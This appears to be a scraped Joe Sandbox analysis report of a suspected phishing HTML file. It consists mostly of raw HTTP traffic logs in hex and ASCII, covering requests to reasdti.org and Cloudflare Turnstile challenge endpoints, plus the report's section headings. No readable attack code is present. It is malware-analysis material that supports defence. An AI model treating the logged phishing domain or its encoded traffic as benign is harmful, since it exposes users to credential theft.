2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 42 6b 61 33 31 73 61 48 36 61 6d 31 6c 7a 6b 33 4b 57 6c 6f 6d 63 70 48 57 4e 71 6d 57 6f 72 36 61 47 73 72 4f 43 72 71 61 5a 72 4c 53 46 6e 62 75 4f 69 4a 75 78 76 4a 36 78 67 38 4f 59 75 34 65 56 74 73 47 4c 68 36 37 43 6b 4b 71 6d 77 36 4c 4e 77 4a 4f 36 6b 35 72 55 6d 62 69 36 74 39 66 59 77 72 37 66 6f 4c 6e 55 70 71 58 4d 33 65 54 4e 75 4b 2b 6f 76 4d 50 56 78 4d 54 4b 39 2b 37 4f 2b 74 65 38 30 4c 38 44 34 39 66 63 32 75 37 7a 38 74 72 30 41 66 62 65 2b 41 6e 36 34 76 77 56 2f 75 59 42 30 51 50 71 42 64 6b 55 46 39 7a 65 39 50 49 4c 32 53 45 57 49 43 59 63 48 75 55 56 39 53 34 5a 4c 79 41 50 41 54 4d 6b 45 75 38 33 4b 42 63 76 4f 79 77 61 44 54 38 77 48 66 51 34 39 6a 38 46 45 41 45 65 4e 6b 55 70 47 45 6f 50 53 30 41 4d 52 6b 4d 72 4d 46 46 44 55 Data Ascii: Bka31saH6am1lzk3KWlomcpHWNqmWor6aGsrOCrqaZrLSFnbuOiJuxvJ6xg8OYu4eVtsGLh67CkKqmw6LNwJO6k5rUmbi6t9fYwr7foLnUpqXM3eTNuK+ovMPVxMTK9+7O+te80L8D49fc2u7z8tr0Afbe+An64vwV/uYB0QPqBdkUF9ze9PIL2SEWICYcHuUV9S4ZLyAPATMkEu83KBcvOywaDT8wHfQ49j8FEAEeNkUpGEoPS0AMRkMrMFFDU
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 32 65 35 79 4f 6c 4a 75 6a 6f 71 47 66 67 49 69 6a 72 71 57 68 6b 4a 31 6c 6a 49 71 50 73 4b 4b 71 6d 5a 42 79 72 70 42 37 6d 37 61 4d 6f 70 68 2f 6b 4b 61 64 67 35 53 71 6f 6f 71 32 67 59 61 63 6e 4c 48 52 6b 38 7a 50 6c 36 71 37 32 4d 36 59 79 74 54 61 77 62 2b 38 33 73 58 44 76 4f 4c 4a 78 38 7a 6d 7a 63 75 34 36 74 48 4f 73 2b 37 56 30 38 6a 79 32 64 66 32 39 74 33 62 75 2f 72 68 33 37 76 2b 35 65 50 34 41 41 66 63 76 51 76 69 36 64 37 34 7a 67 59 42 41 75 6a 6d 37 42 44 70 35 66 63 46 31 2f 41 4d 44 78 6f 4c 39 66 73 65 33 53 44 6d 42 52 6e 6f 41 52 7a 6e 4a 51 59 6e 45 77 30 75 37 78 6a 77 49 52 76 77 42 52 45 31 39 77 6a 34 45 44 34 57 48 44 34 38 4d 43 41 39 4d 30 78 45 52 45 74 4d 55 44 38 52 48 6a 41 69 49 78 4e 42 45 69 73 4f 56 55 30 63 57 46 Data Ascii: 2e5yOlJujoqGfgIijrqWhkJ1ljIqPsKKqmZByrpB7m7aMoph/kKadg5Sqooq2gYacnLHRk8zPl6q72M6YytTawb+83sXDvOLJx8zmzcu46tHOs+7V08jy2df29t3bu/rh37v+5eP4AAfcvQvi6d74zgYBAujm7BDp5fcF1/AMDxoL9fse3SDmBRnoARznJQYnEw0u7xjwIRvwBRE19wj4ED4WHD48MCA9M0xEREtMUD8RHjAiIxNBEisOVU0cWF
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 63 71 61 4c 68 6e 64 35 65 59 32 6c 70 6e 79 53 66 6d 2b 41 6c 6f 4e 7a 68 4a 71 49 64 34 69 65 6a 58 75 4d 6f 70 52 2f 6b 4b 61 5a 67 35 53 71 6e 6f 65 59 72 71 53 4c 6e 4c 4b 70 6a 36 43 32 72 70 62 43 6a 5a 4b 6f 71 4c 33 64 6e 39 6a 62 6f 37 62 48 34 39 65 67 31 65 44 57 7a 63 76 49 36 74 48 50 79 4f 37 56 30 39 6a 79 32 64 66 45 39 74 33 61 76 2f 72 68 33 39 54 2b 35 65 4d 46 33 65 66 46 43 38 4c 38 34 4f 58 34 42 76 4d 44 41 42 48 32 45 4f 55 53 7a 41 38 49 47 50 34 59 37 50 45 69 42 52 41 68 48 53 44 7a 48 2f 6b 42 47 43 33 70 4b 50 76 6a 47 7a 4d 67 4d 43 30 77 42 50 51 62 4b 53 67 63 4e 78 55 36 2b 79 41 38 4c 53 63 48 41 44 45 2b 4b 55 30 34 4c 45 59 2f 4b 68 45 65 4d 55 4d 32 4e 53 41 50 4b 46 59 5a 53 31 42 48 4f 6c 5a 43 4c 79 46 61 52 6a 4e Data Ascii: cqaLhnd5eY2lpnySfm+AloNzhJqId4iejXuMopR/kKaZg5SqnoeYrqSLnLKpj6C2rpbCjZKoqL3dn9jbo7bH49eg1eDWzcvI6tHPyO7V09jy2dfE9t3av/rh39T+5eMF3efFC8L84OX4BvMDABH2EOUSzA8IGP4Y7PEiBRAhHSDzH/kBGC3pKPvjGzMgMC0wBPQbKSgcNxU6+yA8LScHADE+KU04LEY/KhEeMUM2NSAPKFYZS1BHOlZCLyFaRjN
2025-03-21 18:13:19 UTC	1369	IN	Data Raw: 61 39 36 72 70 4f 4e 74 4c 4b 58 63 49 53 68 64 4c 69 51 71 37 64 34 6e 4c 75 37 66 4b 2b 30 6c 4d 4b 47 79 70 71 64 6a 4d 43 68 6e 36 69 6d 72 61 4b 38 6b 36 48 49 78 61 79 71 73 4e 4f 74 71 62 76 49 6d 37 54 50 30 74 33 4f 75 62 2f 68 6f 65 4f 71 79 4e 79 73 78 4e 2b 72 35 65 4c 4b 7a 2f 44 6f 36 50 4c 56 38 2b 2f 6d 32 64 37 73 36 73 33 37 2b 73 50 52 35 51 50 63 41 50 7a 38 42 77 67 49 41 38 2f 64 2f 51 66 4f 39 4d 37 7a 46 65 30 57 36 42 73 59 33 67 41 68 45 65 7a 2b 4a 69 45 43 49 52 50 31 48 53 63 42 49 7a 49 70 41 2b 55 75 45 44 45 4a 4b 66 67 4c 46 79 77 64 4a 77 6b 51 45 44 34 57 4e 44 67 5a 50 44 30 37 43 45 78 46 52 69 70 48 44 67 34 4b 4b 68 56 47 4e 6b 59 75 52 53 70 4d 53 42 6f 2f 56 79 41 32 51 42 70 6a 51 44 42 68 56 46 67 38 53 6b 70 6d Data Ascii: a96rpONtLKXcIShdLiQq7d4nLu7fK+0lMKGypqdjMChn6imraK8k6HIxayqsNOtqbvIm7TP0t3Oub/hoeOqyNysxN+r5eLKz/Do6PLV8+/m2d7s6s37+sPR5QPcAPz8BwgIA8/d/QfO9M7zFe0W6BsY3gAhEez+JiECIRP1HScBIzIpA+UuEDEJKfgLFywdJwkQED4WNDgZPD07CExFRipHDg4KKhVGNkYuRSpMSBo/VyA2QBpjQDBhVFg8Skpm

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:19 UTC	444	OUT	GET /page/images/favicon.ico HTTP/1.1 Host: reasdti.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=u7ch8faibiok4oc1javn5n9pdv
2025-03-21 18:13:20 UTC	390	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:20 GMT Server: Apache/2.4.62 (Ubuntu) Last-Modified: Tue, 17 Sep 2024 02:03:54 GMT ETag: "47e-6224719f87680" Accept-Ranges: bytes Content-Length: 1150 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Content-Type: image/vnd.microsoft.icon
2025-03-21 18:13:20 UTC	1150	IN	Data Raw: 00 00 01 00 01 00 10 10 00 00 01 00 20 00 68 04 00 00 16 00 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 c3 0e 00 00 c3 0e 00 00 00 00 00 00 00 00 00 00 f5 c2 50 ff f3 b2 24 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b3 25 ff f3 b2 22 ff f9 d2 7d ff 8a a4 fa ff 39 65 f5 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3c 68 f6 ff 3b 66 f6 ff 63 86 f8 ff f3 b7 32 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a5 00 ff f0 a4 00 ff f7 ca 66 ff 77 95 f9 ff 18 4b f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1c 4e f3 ff 1a 4c f3 ff 49 71 f6 ff f3 b7 33 ff f0 a5 00 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a6 01 ff f0 a5 00 ff f7 cb 67 ff 77 96 f9 ff 19 4c f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1d 4f f3 ff 1b 4e f3 ff 4a 72 f6 ff f3 Data Ascii: h( P$%%%%"}9e<h<h<h<h;fc2fwKNNNNLIq3gwLOOOONJr

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:19 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:20 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Fri, 21 Mar 2025 18:13:20 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: m8fqUfT7xrl5bMxPLkFTlYllGf7r8Aod+tSI3GuFMtekJx8JQN3YupN2w/kA/zG3wXj1XV2cbaLtGVSAT8cWng==$AHglBSM00VcxfSMpa+iN0A== Server: cloudflare CF-RAY: 923f6c30bbdb4210-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:20 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Paradigm-corp00990__098.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Windows Analysis Report
Paradigm-corp00990__098.html

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:20 UTC	827	OUT	GET /cdn-cgi/challenge-platform/h/b/d/923f6c22fa388c73/1742580799284/p4kNKSHTK8iQ0jm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:20 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:20 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 923f6c35db398ca5-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:20 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 10 08 02 00 00 00 65 6f e3 86 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDReoIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:21 UTC	856	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/923f6c22fa388c73/1742580799285/8802678fbf099d4f4884a220f556b10476b4812f5f847960f9037edd7fe51c01/azFz30E1DcIIdhX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:21 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Fri, 21 Mar 2025 18:13:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2025-03-21 18:13:21 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 69 41 4a 6e 6a 37 38 4a 6e 55 39 49 68 4b 49 67 39 56 61 78 42 48 61 30 67 53 39 66 68 48 6c 67 2d 51 4e 2d 33 58 5f 6c 48 41 45 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20giAJnj78JnU9IhKIg9VaxBHa0gS9fhHlg-QN-3X_lHAEAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2025-03-21 18:13:21 UTC	1	IN	Data Raw: 4a Data Ascii: J

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:21 UTC	468	OUT	GET /cdn-cgi/challenge-platform/h/b/d/923f6c22fa388c73/1742580799284/p4kNKSHTK8iQ0jm HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:22 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:21 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 923f6c3c4fbf42c6-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:22 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 10 08 02 00 00 00 65 6f e3 86 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDReoIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:13:22 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/132450000:1742577972:IU7Gl_IiNb9l9P-bT3cbkeDnekT5wbZ34g1OZL0bOSE/923f6c22fa388c73/ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 38305 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: ZU5.xxhFz5vQEtyIS_BSJPJWIlMcl3xahplA0ZAkHl4-1742580797-1.1.1.1-lkQKINFZdnonMg8lEdtgri0H7VLo4v68q7cq4gUSizoIyK7NQ8otxPuSafYZUAmo cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/tc1qk/0x4AAAAAABB1TEUT3Pu9qD3S/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:13:22 UTC	16384	OUT	Data Raw: 2b 24 31 6e 6f 39 78 74 53 6a 31 69 63 46 2d 78 58 7a 32 42 31 75 54 78 66 7a 56 7a 78 6e 78 45 78 77 7a 38 44 7a 4a 78 33 7a 45 44 55 57 78 56 7a 72 44 56 45 78 5a 55 49 7a 46 41 75 6e 78 69 7a 33 51 47 6e 39 5a 7a 57 36 42 74 44 7a 65 44 78 66 7a 30 43 75 36 75 7a 46 37 53 6a 44 6e 69 53 45 7a 53 77 4d 6e 7a 59 6a 68 4d 24 7a 51 7a 39 53 39 7a 32 77 58 6e 78 59 73 6e 55 2d 49 7a 4e 44 75 66 4f 71 65 78 39 6c 31 7a 51 72 75 46 72 38 30 63 7a 55 43 7a 73 39 62 71 34 38 72 69 7a 6a 4a 71 33 7a 6f 39 31 58 2b 4d 7a 39 72 55 33 6a 71 75 6e 4d 30 31 7a 63 4f 4d 6b 63 37 31 6a 7a 7a 74 7a 44 36 63 72 45 77 49 7a 45 52 58 4d 69 72 36 54 4b 45 73 6f 63 36 74 36 36 34 69 77 47 53 38 59 6b 31 42 72 44 6a 42 32 53 74 75 47 2d 33 6f 41 64 4e 24 72 32 54 38 44 62 34 Data Ascii: +$1no9xtSj1icF-xXz2B1uTxfzVzxnxExwz8DzJx3zEDUWxVzrDVExZUIzFAunxiz3QGn9ZzW6BtDzeDxfz0Cu6uzF7SjDniSEzSwMnzYjhM$zQz9S9z2wXnxYsnU-IzNDufOqex9l1zQruFr80czUCzs9bq48rizjJq3zo91X+Mz9rU3jqunM01zcOMkc71jzztzD6crEwIzERXMir6TKEsoc6t664iwGS8Yk1BrDjB2StuG-3oAdN$r2T8Db4
2025-03-21 18:13:22 UTC	16384	OUT	Data Raw: 2d 4b 6d 68 4e 41 4e 56 4f 75 67 63 67 52 79 35 72 31 45 24 39 4f 72 4a 4c 51 6b 78 48 78 4f 4f 74 36 78 70 6d 7a 55 7a 68 59 73 35 6d 24 78 7a 46 64 6e 67 7a 42 72 69 42 7a 73 48 56 31 69 51 6d 68 7a 33 50 6b 38 78 36 6e 44 67 52 56 6d 6a 67 42 4b 43 5a 35 33 67 57 43 56 77 6d 6d 7a 6a 4b 4f 68 35 31 6e 2b 4b 37 73 6d 2b 67 55 7a 46 6b 35 65 67 45 74 72 77 6e 62 59 44 7a 6a 79 6d 37 67 39 67 36 50 6d 51 67 32 44 75 50 6d 56 67 72 7a 47 4b 35 6a 51 56 49 56 4b 35 79 67 56 67 37 43 39 67 67 7a 2d 55 49 7a 59 7a 24 7a 6a 70 35 74 49 75 36 49 59 6e 51 44 44 31 7a 7a 78 38 42 63 4f 70 6d 38 6d 33 52 78 48 6e 33 7a 64 44 56 49 75 58 44 75 6e 75 70 44 66 67 6a 44 47 70 2b 4f 7a 46 4a 46 4d 53 57 53 30 7a 69 68 41 57 57 51 6a 56 48 78 4e 6e 5a 48 52 33 7a 70 49 Data Ascii: -KmhNANVOugcgRy5r1E$9OrJLQkxHxOOt6xpmzUzhYs5m$xzFdngzBriBzsHV1iQmhz3Pk8x6nDgRVmjgBKCZ53gWCVwmmzjKOh51n+K7sm+gUzFk5egEtrwnbYDzjym7g9g6PmQg2DuPmVgrzGK5jQVIVK5ygVg7C9ggz-UIzYz$zjp5tIu6IYnQDD1zzx8BcOpm8m3RxHn3zdDVIuXDunupDfgjDGp+OzFJFMSWS0zihAWWQjVHxNnZHR3zpI
2025-03-21 18:13:22 UTC	5537	OUT	Data Raw: 39 55 5a 72 44 45 2d 6e 78 35 47 48 7a 79 4a 6c 4c 46 55 37 50 47 6f 30 56 47 44 78 7a 33 62 6c 72 41 58 77 6a 77 7a 56 78 67 42 6e 55 46 6b 42 61 75 79 77 73 4b 42 4f 30 7a 74 68 55 35 43 68 31 62 36 32 2d 67 6d 24 44 78 69 30 6c 4d 51 6e 7a 56 2d 6b 38 2d 41 41 58 63 33 2b 31 65 75 63 75 34 4d 2b 41 58 24 75 6c 51 34 50 7a 36 4e 52 6d 34 46 44 77 37 24 59 47 50 58 78 36 41 63 6a 45 6b 64 64 6b 4d 61 47 70 34 54 58 43 7a 31 50 67 57 35 61 4b 4b 4d 7a 58 66 47 70 39 32 55 71 58 6e 4e 63 37 69 57 44 44 6b 62 54 59 49 66 44 39 52 50 62 49 4a 31 69 44 2d 71 6e 6d 41 52 6d 71 79 31 7a 74 50 49 78 46 74 37 44 78 70 2b 52 49 67 63 7a 48 4c 68 62 4f 51 46 49 64 2d 6c 73 47 2b 47 36 53 4f 34 4d 75 7a 44 49 64 66 44 69 4e 71 34 74 70 4a 59 44 36 5a 42 24 30 31 2d Data Ascii: 9UZrDE-nx5GHzyJlLFU7PGo0VGDxz3blrAXwjwzVxgBnUFkBauywsKBO0zthU5Ch1b62-gm$Dxi0lMQnzV-k8-AAXc3+1eucu4M+AX$ulQ4Pz6NRm4FDw7$YGPXx6AcjEkddkMaGp4TXCz1PgW5aKKMzXfGp92UqXnNc7iWDDkbTYIfD9RPbIJ1iD-qnmARmqy1ztPIxFt7Dxp+RIgczHLhbOQFId-lsG+G6SO4MuzDIdfDiNq4tpJYD6ZB$01-
2025-03-21 18:13:23 UTC	322	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:13:23 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28200 Connection: close cf-chl-gen: mxQwgmmvevb0sa9n57c9XQjeN8jq42WdYwMjxvZAintLT1xh/5HVixTLXrVfirrn$aNy3lV9e7d+zX4Rf67oZdw== Server: cloudflare CF-RAY: 923f6c42fb7e8c9c-EWR alt-svc: h3=":443"; ma=86400
2025-03-21 18:13:23 UTC	1047	IN	Data Raw: 62 46 79 41 65 30 35 6d 61 4a 47 51 65 6b 79 54 6a 70 46 6d 58 6d 36 62 59 6d 43 62 6e 58 4e 6b 6e 36 47 6d 6f 4a 69 6c 70 6f 71 68 61 6e 70 78 67 72 43 31 63 4b 6c 31 6d 4c 57 30 70 59 2b 74 6c 37 43 37 6e 62 6d 43 76 72 75 36 6d 37 71 35 78 4b 32 4f 76 61 65 71 79 37 37 48 79 34 6a 42 7a 35 61 6a 79 62 43 6d 31 38 76 58 79 64 72 51 32 62 4f 75 35 4c 62 6b 6f 39 6a 6c 76 62 6a 4b 7a 62 2b 36 38 73 4c 77 39 73 62 6f 79 76 62 33 37 73 72 48 37 64 58 4b 2b 2b 33 32 37 66 37 38 41 41 44 54 36 65 7a 59 37 76 66 4b 34 2f 30 52 42 4e 48 6e 31 2f 58 35 30 67 55 4e 2f 52 63 53 2b 64 37 71 32 77 58 7a 38 77 59 69 4a 42 2f 6d 47 2f 6b 5a 47 4f 63 45 42 53 6b 74 4c 68 55 71 4d 50 4c 73 4e 54 59 50 49 43 34 57 49 41 77 30 49 6a 34 46 47 55 67 42 50 77 4a 4b 50 51 63 Data Ascii: bFyAe05maJGQekyTjpFmXm6bYmCbnXNkn6GmoJilpoqhanpxgrC1cKl1mLW0pY+tl7C7nbmCvru6m7q5xK2Ovaeqy77Hy4jBz5ajybCm18vXydrQ2bOu5Lbko9jlvbjKzb+68sLw9sboyvb37srH7dXK++327f78AADT6ezY7vfK4/0RBNHn1/X50gUN/RcS+d7q2wXz8wYiJB/mG/kZGOcEBSktLhUqMPLsNTYPIC4WIAw0Ij4FGUgBPwJKPQc
2025-03-21 18:13:23 UTC	1369	IN	Data Raw: 45 56 35 53 66 69 47 6d 71 70 48 36 68 6d 36 65 6e 67 6f 53 76 62 4c 4b 31 74 59 53 33 6f 6e 57 79 64 58 65 76 74 72 53 55 77 5a 4b 59 78 38 57 55 78 37 4b 43 72 62 57 6c 77 72 6a 52 79 63 6e 4d 31 63 58 4d 72 74 61 75 79 4a 76 52 75 74 36 70 71 72 53 78 33 38 50 61 33 2b 44 64 77 65 47 2b 34 63 58 5a 36 50 48 70 36 4c 48 74 30 4e 48 79 32 75 4f 36 35 73 62 55 7a 66 72 42 41 50 6e 56 41 74 33 31 32 76 33 2b 42 41 53 2f 2f 41 50 73 43 39 72 77 79 76 50 33 30 2f 54 74 44 42 62 6f 48 41 66 5a 38 75 73 61 47 78 30 65 46 42 37 2b 4a 74 77 5a 36 79 49 4c 4c 43 44 36 41 67 49 77 4c 53 55 4e 45 6a 4d 6c 4d 2f 6b 49 4e 6a 59 33 38 7a 77 65 50 77 49 6a 45 30 4d 53 41 78 70 49 54 6b 52 47 49 30 5a 44 52 52 4a 52 4b 56 6b 6d 49 6a 46 61 4b 53 74 4e 51 44 38 72 51 30 Data Ascii: EV5SfiGmqpH6hm6engoSvbLK1tYS3onWydXevtrSUwZKYx8WUx7KCrbWlwrjRycnM1cXMrtauyJvRut6pqrSx38Pa3+DdweG+4cXZ6PHp6LHt0NHy2uO65sbUzfrBAPnVAt312v3+BAS//APsC9rwyvP30/TtDBboHAfZ8usaGx0eFB7+JtwZ6yILLCD6AgIwLSUNEjMlM/kINjY38zwePwIjE0MSAxpITkRGI0ZDRRJRKVkmIjFaKStNQD8rQ0
